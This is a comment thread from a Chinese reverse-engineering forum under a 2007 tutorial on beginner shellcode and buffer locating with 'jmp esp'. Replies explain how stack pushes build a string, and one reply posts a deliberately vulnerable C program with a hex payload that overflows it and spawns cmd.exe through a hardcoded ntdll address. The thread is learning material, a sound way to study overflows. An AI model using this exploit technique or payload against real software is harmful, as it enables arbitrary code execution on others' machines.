首页
社区
课程
招聘
[技术专题]软件漏洞分析入门_6_初级shellcode_定位缓冲区
2007-12-18 21:23 41808

[技术专题]软件漏洞分析入门_6_初级shellcode_定位缓冲区

2007-12-18 21:23
41808
收藏
点赞7
打赏
分享
最新回复 (106)
雪    币: 243
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
LULU 2007-12-20 10:30
26
0
呵呵,吱一声,好玩哟
雪    币: 221
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
kingwrcy 2007-12-20 11:07
27
0
是如何得到参数的地址的?
68 77 65 73 74  PUSH 74736577  
68 66 61 69 6C  PUSH 6C696166
这2个地址应该是"failwest"的地址吧?是如何得到这2个地址的呢?
还有cpu如何知道一个参数已经结束?接下来的是第2个参数呢?如果是在参数末尾加\0,那要怎么写汇编代码呢?希望大牛们写个代码让我看看,先行谢过了!期待...
雪    币: 2041
活跃值: (261)
能力值: (RANK:330 )
在线值:
发帖
回帖
粉丝
failwest 8 2007-12-20 11:23
28
0
其实
push ebx // cut string
                push 0x74736577
                push 0x6C696166//push failwest
并不是压得参数本身,只是把failwest存入内存,这里为了简单,就直接存到栈里了,当然存任何地方都可以

首先记得ESP永远指向栈顶,那么:

PUSH ebx
这句就是在栈里放个0,因为EBX已经在前一句清0了,这时ESP指向这个0

top
0 《---esp
bottom

push 0x74736577
向栈中压入“west”。这时ESP指向“west”,当然后面跟着先前的0,刚好构成字符串

top
west  《----esp
0
bottom

push 0x6C696166
向栈中压入“fail”。这是ESP指向“fail”,当然后面跟着先前的west和0

top
fail  《---esp
west
0
bottom

所以这时的ESP值相当于指向字符串failwest的指针,把它保存在EAX里边

are we clear now?

我们最终的参数只是调用前的四次压栈,两次EBX(0),两次EAX(字符串指针)

至于函数怎么用这些参数,请你回去精读第3讲中的内容,或者自己写点传参数的例子,亲自动手跟几遍就彻底明白了——这是搞清问题的最有效办法
雪    币: 437
活跃值: (253)
能力值: ( LV12,RANK:240 )
在线值:
发帖
回帖
粉丝
bzhkl 5 2007-12-20 12:01
29
0
看了楼上的帖子 想到一个成语 循循善诱~
雪    币: 221
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
kingwrcy 2007-12-20 13:11
30
0
多谢老大,弄清楚68 77 65 73 74  PUSH 74736577  68 66 61 69 6C  PUSH 6C696166
了,先前一直以为是字符串的地址,原来就是字符串!
再次感谢!`
雪    币: 200
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
阿南 2007-12-20 19:48
31
0
看完这个  心里就2个字.......阴险......ESP指向溢出覆盖地址的后面 原来是利用堆栈平衡...
雪    币: 202
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
wdbxm 2007-12-20 21:03
32
0
老师下一讲什么时候呢?期待哈~早点端凳子等着
雪    币: 200
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
iupek 2007-12-20 21:42
33
0
吱——吱——吱
雪    币: 200
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
xang 2007-12-21 00:09
34
0
继续学习中,楼主辛苦
雪    币: 204
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
CL_nelson 2007-12-21 14:22
35
0
不错,呵呵,我喜欢,呵呵
雪    币: 218
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
htsf110 2007-12-21 20:29
36
0
出的好慢呀,7什么时候出呀!!等不急了,最好快点出书吧
雪    币: 817
活跃值: (1927)
能力值: ( LV12,RANK:2670 )
在线值:
发帖
回帖
粉丝
KuNgBiM 66 2007-12-22 03:34
37
0
讲的非常精彩,赞一个
雪    币: 523
活跃值: (827)
能力值: ( LV6,RANK:90 )
在线值:
发帖
回帖
粉丝
笑熬浆糊 2 2007-12-22 15:06
38
0
哇哈哈哈  先顶后看
雪    币: 135
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
oeptt 2007-12-22 15:11
39
0
吱——吱——吱
雪    币: 112
活跃值: (16)
能力值: ( LV9,RANK:290 )
在线值:
发帖
回帖
粉丝
壹只老虎 7 2007-12-22 20:58
40
0
吱——吱——吱
==============
提问:"万年不变的jmp esp"可否提供几个!
雪    币: 243
活跃值: (14)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
coolbye 2007-12-23 00:03
41
0
吱~~~~~~~~~~~~~~~~~~~~~~~~
雪    币: 207
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
atylon 2007-12-23 00:47
42
0
吱............................
看到用jmp esp的说明,有点不明白,可是老大后面的说明并没有用jump esp, 是笔误码吗?
雪    币: 243
活跃值: (10)
能力值: ( LV4,RANK:50 )
在线值:
发帖
回帖
粉丝
hpxpj 1 2007-12-24 14:09
43
0
是啊!昨天晚上我看到一半就熄灯了,回去想了好久也想不出来!今天看了才知道原来是这样来"稳定"啊 呵呵
雪    币: 243
活跃值: (10)
能力值: ( LV4,RANK:50 )
在线值:
发帖
回帖
粉丝
hpxpj 1 2007-12-24 14:11
44
0
不是!他是说用这jmp esp指令所在的地址啊
雪    币: 31
活跃值: (15)
能力值: ( LV9,RANK:170 )
在线值:
发帖
回帖
粉丝
fqucuo 4 2007-12-24 14:27
45
0
菜鸟问题:
例子中的缓冲区是在子函数中,如果说子函数中没有缓冲区,而是由main函数获得读取字符串并传给子函数的一个字符串指针,里面只是调用了strcmp比较一下,这样的方式有没有什么好的解决办法?
雪    币: 223
活跃值: (227)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
hbfp 2007-12-24 20:29
46
0
学习一下,还好能看明白.
雪    币: 200
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
overfgf 2007-12-26 17:30
47
0
学习
吱--------吱--------吱
雪    币: 214
活跃值: (14)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
wangxlxk 2007-12-26 19:43
48
0
我想了好久才做出来了一个 是简单的返回一个cmd窗口
JMP ESP 是在ntdll里面找到的
7C961EED    FFE4            JMP ESP
我在本机测试没有问题  (你们看看有没有出错 不返回cmd窗口)
-----------------------------------------------------------
测试代码:
#include <windows.h>
#include <stdio.h>
#include <stdlib.h>

int fun(char *path);
int main(int argc, char *argv[])
{
  fun("1.txt");
  system("PAUSE");       
  return 0;
}
int fun(char *path)
{
   char buf[10];
   FILE *fp = fopen("1.txt","r+");
   fscanf(fp,"%s",buf);
   fclose(fp);
   puts(buf);
   return 1;
}
--------------------------------------------------
1.txt 文件内容 16进制编辑器复制出来的
Offset      0  1  2  3  4  5  6  7   8  9  A  B  C  D  E  F

00000000   61 61 61 61 61 61 61 61  61 61 61 61 61 61 61 61   aaaaaaaaaaaaaaaa
00000010   61 61 61 61 61 61 61 61  61 61 61 61 ED 1E 96 7C   aaaaaaaaaaaa?東
00000020   55 89 E5 6A 00 68 65 78  65 00 68 63 6D 64 2E 54   U夊j.hexe.hcmd.T
00000030   B8 90 18 40 00 FF D0 5D                            笎.@.衇
雪    币: 201
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
deletex 2007-12-27 19:22
49
0
学习了,,,
雪    币: 224
活跃值: (10)
能力值: ( LV5,RANK:60 )
在线值:
发帖
回帖
粉丝
救世猪 1 2007-12-27 20:52
50
0
恩,确实不错
但是我感觉还是没能及时的消化完
是不是这篇文章与第五篇的区别就在于,不用查找缓冲区的地址了???
但是其他的模块函数的地址仍然要手动查找?
游客
登录 | 注册 方可回帖
返回